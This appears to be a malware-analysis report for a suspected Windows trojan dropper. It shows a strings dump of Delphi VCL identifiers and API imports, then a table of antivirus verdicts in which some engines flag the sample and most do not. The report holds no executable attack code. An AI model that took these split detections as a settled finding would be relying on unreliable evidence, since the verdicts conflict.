User32.dll
SetLayeredWindowAttributes
TaskbarCreated
TChangeLink
TImageIndex
TCustomImageList
TCustomImageList
ImgList
S0_^[]
R ;C0|
R,;C4}!
S`]_^[
Bitmap
comctl32.dll
comctl32.dll
ImageList_WriteEx
EMenuError
TMenuBreak
mbNone
mbBreak
mbBarBreak
TMenuChangeEvent
Sender
TObject
Source
TMenuItem
Rebuild
Boolean
TMenuDrawItemEvent
Sender
TObject
ACanvas
TCanvas
Selected
Boolean
TAdvancedMenuDrawItemEvent
Sender
TObject
ACanvas
TCanvas
TOwnerDrawState
TMenuMeasureItemEvent
Sender
TObject
ACanvas
TCanvas
Integer
Height
Integer
TMenuItemAutoFlag
maAutomatic
maManual
maParent
TMenuAutoFlag
TMenuActionLink
TMenuItem
TMenuItem
Action
AutoCheckp
AutoHotkeysp
AutoLineReduction
Bitmap
Caption
Checkedp
SubMenuImages
Default
Enabledl
GroupIndex
HelpContext
ImageIndex
RadioItemTsA
ShortCut
VisiblelsA
OnClick
OnDrawItem
OnAdvancedDrawItem
OnMeasureItem
TMenu(
TMainMenu
TMainMenu
AutoHotkeys
AutoLineReduction
AutoMerge$rA
BiDiModep
Images
OwnerDraw
ParentBiDiMode
OnChange
TPopupAlignment
paLeft
paRight
paCenter
TTrackButton
tbRightButton
tbLeftButton
Menus4
TMenuAnimations
maLeftToRight
maRightToLeft
maTopToBottom
maBottomToTop
maNone
TMenuAnimation
TPopupMenu
TPopupMenu
Alignment
AutoHotkeys
AutoLineReduction
AutoPopup$rA
BiDiMode
HelpContextp
Images
MenuAnimation
OwnerDraw
ParentBiDiMode
TrackButton
OnChangelsA
OnPopup
TPopupList
TMenuItemStack
1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ
_^[YY]
Q<]_^[
ShortCutText
P?:S?u
Q<]_^[
@?:F?v
Q<]_^[
$YZ]_^[
_^[YY]
Ih;J4u
YZ]_^[
TCursor
TAlign
alNone
alBottom
alLeft
alRight
alClient
alCustom
Controls
TDragObject\OD
TDragObject(OD
Controls
TBaseDragControlObject
TBaseDragControlObject
Controls
TDragControlObject
TDragControlObjectEx
TDragDockObject
TDragDockObject
Controls
TDragDockObjectEx
TControlCanvas
TControlCanvas
Controls
TControlActionLink
TMouseButton
mbLeft
mbRight
mbMiddle
Controls
TDragMode
dmManual
dmAutomatic
Controls
TDragState
dsDragEnter
dsDragLeave
dsDragMove
Controls
TDragKind
dkDrag
dkDock
Controls
TCaption
TAnchorKind
akLeft
akRight
akBottom
Controls
TAnchors
TConstraintSize
TSizeConstraints
TSizeConstraints
Controls
MaxHeight
MaxWidth
MinHeight
MinWidth
TMouseEvent
Sender
TObject
Button
TMouseButton
TShiftState
Integer
Integer
TMouseMoveEvent
Sender
TObject
TShiftState
Integer
Integer
TKeyEvent
Sender
TObject
TShiftState
TKeyPressEvent
Sender
TObject
TDragOverEvent
Sender
TObject
Source
TObject
Integer
Integer
TDragState
Accept
Boolean
TDragDropEvent
Sender
TObject
Source
TObject
Integer
Integer
TEndDragEvent
Sender
TObject
Target
TObject
Integer
Integer
TDockDropEvent
Sender
TObject
Source
TDragDockObject
Integer
Integer
TDockOverEvent
Sender
TObject
Source
TDragDockObject
Integer
Integer
TDragState
Accept
Boolean
TUnDockEvent
Sender
TObject
Client
TControl
NewTarget
TWinControl
Boolean
TStartDockEvent
Sender
TObject
DragObject
TDragDockObject
TGetSiteInfoEvent
Sender
TObject
DockClient
TControl
InfluenceRect
MousePos
TPoint
CanDock
Boolean
TCanResizeEvent
Sender
TObject
NewWidth
Integer
NewHeight
Integer
Resize
Boolean
TConstrainedResizeEvent
Sender
TObject
MinWidth
Integer
MinHeight
Integer
MaxWidth
Integer
MaxHeight
Integer
TMouseWheelEvent
Sender
TObject
TShiftState
WheelDelta
Integer
MousePos
TPoint
Handled
Boolean
TMouseWheelUpDownEvent
Sender
TObject
TShiftState
MousePos
TPoint
Handled
Boolean
TContextPopupEvent
Sender
TObject
MousePos
TPoint
Handled
Boolean
TControl
TControl|^D
Controls
WidthT
HeighthND
Cursor
HelpType
HelpKeyword
HelpContext
TWinControlActionLink
TImeName
TBorderWidth
IDockManagerl
Controls
TWinControl
TWinControl
Controls
TCustomControl
TCustomControl
Controls
THintWindow
THintWindow
Controls
TDockZone
TDockTree
TMouse
crDefault
crArrow
crCross
crIBeam
crSizeNESW
crSizeNS
crSizeNWSE
crSizeWE
crUpArrow
crHourGlass
crDrag
crNoDrop
crHSplit
crVSplit
crMultiDrag
crSQLWait
crAppStart
crHelp
crHandPoint
crSizeAll
crSize
TSiteList
_^[YY]
S$_^[]
YZ]_^[
t%Jt?Jt[
%s (%s)
YZ]_^[
u$;~|u
tr;s@u
;CLtX3
_^[YY]
;s0t=;
IsControl
_^[YY]
_^[YY]
+WH+W@
:GauOFKu
DesignSize
_^[YY]
_^[YY]
_^[YY]
YZ]_^[
YZ]_^[
YZ]_^[
YZ]_^[
S8_^[]
t9;wlt4
^dVhp<E
^dVhp<E
t$;C8u
QQQQSVW
t#;^dt
BP_^[]
USER32
WINNLSEnableIME
imm32.dll
ImmGetContext
ImmReleaseContext
ImmGetConversionStatus
ImmSetConversionStatus
ImmSetOpenStatus
ImmSetCompositionWindow
ImmSetCompositionFontA
ImmGetCompositionStringA
ImmIsIME
ImmNotifyIME
Delphi%.8X
ControlOfs%.8X%.8X
USER32
AnimateWindow
TDataMode
ddeAutomatic
ddeManual
DdeMan
TMacroEvent
Sender
TObject
TStrings
TDdeClientConv
TDdeClientConv
DdeMan
ServiceApplication
DdeService
DdeTopic
ConnectMode
FormatCharslsA
OnCloselsA
OnOpen
TDdeClientItem
TDdeClientItem
DdeMan
Lines<UE
DdeConv
DdeItemlsA
OnChange
TDdeServerConv
TDdeServerConv$XE
DdeMan
OnOpenlsA
OnCloseDTE
OnExecuteMacro
TDdeServerItem
TDdeServerItemTYE
DdeMan
ServerConv
LineslsA
OnChangelsA
OnPokeData
TDdeMgr
TDdeMgr
DdeMan
EDdeError
TDdeSrvrItem
TDdeSrvrItem
DdeMan
TDdeSrvrConv
TDdeSrvrConv
DdeMan
TDdeCliItem
TDdeCliItemT]E
DdeMan
QQQQQQS3
YZ]_^[
YZ]_^[
LinkInfo
_^[YY]
QQQQQSV
Service %s
Topic %s
$Z]_^[
YZ]_^[
YZ]_^[
;s4tG
_^[YY]
YZ]_^[
YZ]_^[
TSQLTimeStampVariantType
TSQLTimeStampData
TSQLTimeStampData$
SqlTimSt
AsDateTime
AsString
Fractions
Minute
Second<
EBcdException
EBcdOverflowException
TFMTBcdVariantType
TFMTBcdData
Antivirus Signature
Bkav Clean
Elastic malicious (moderate confidence)
ClamAV Doc.Downloader.Jrat-6336393-1
CMC Clean
CAT-QuickHeal Clean
McAfee Clean
Malwarebytes Clean
VIPRE LooksLike.Macro.Malware.k (v)
AegisLab Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Arcabit Clean
Baidu Clean
Cyren Clean
Symantec ML.Attribute.HighConfidence
ESET-NOD32 a variant of Win32/Injector.EPIZ
TrendMicro-HouseCall Clean
Avast Clean
Cynet Clean
Kaspersky HEUR:Trojan-Dropper.Script.Generic
BitDefender Clean
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
SUPERAntiSpyware Clean
MicroWorld-eScan Clean
Tencent Heur.Macro.Generic.c.520b27d3
Ad-Aware Clean
Sophos Mal/EncPk-APY
Comodo Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro HEUR_VBA.DE
McAfee-GW-Edition Clean
FireEye Clean
Emsisoft Clean
SentinelOne Clean
Jiangmin Clean
Avira Clean
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Microsoft Program:Win32/Wacapew.C!ml
ViRobot Clean
ZoneAlarm Clean
GData Clean
TACHYON Suspicious/W97.NS.Gen
AhnLab-V3 Clean
Acronis Clean
VBA32 Clean
ALYac Clean
MAX Clean
Zoner Clean
Rising Clean
Yandex Clean
Ikarus Trojan.Win32.Injector
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
Panda Clean
Qihoo-360 Clean
No IRMA results available.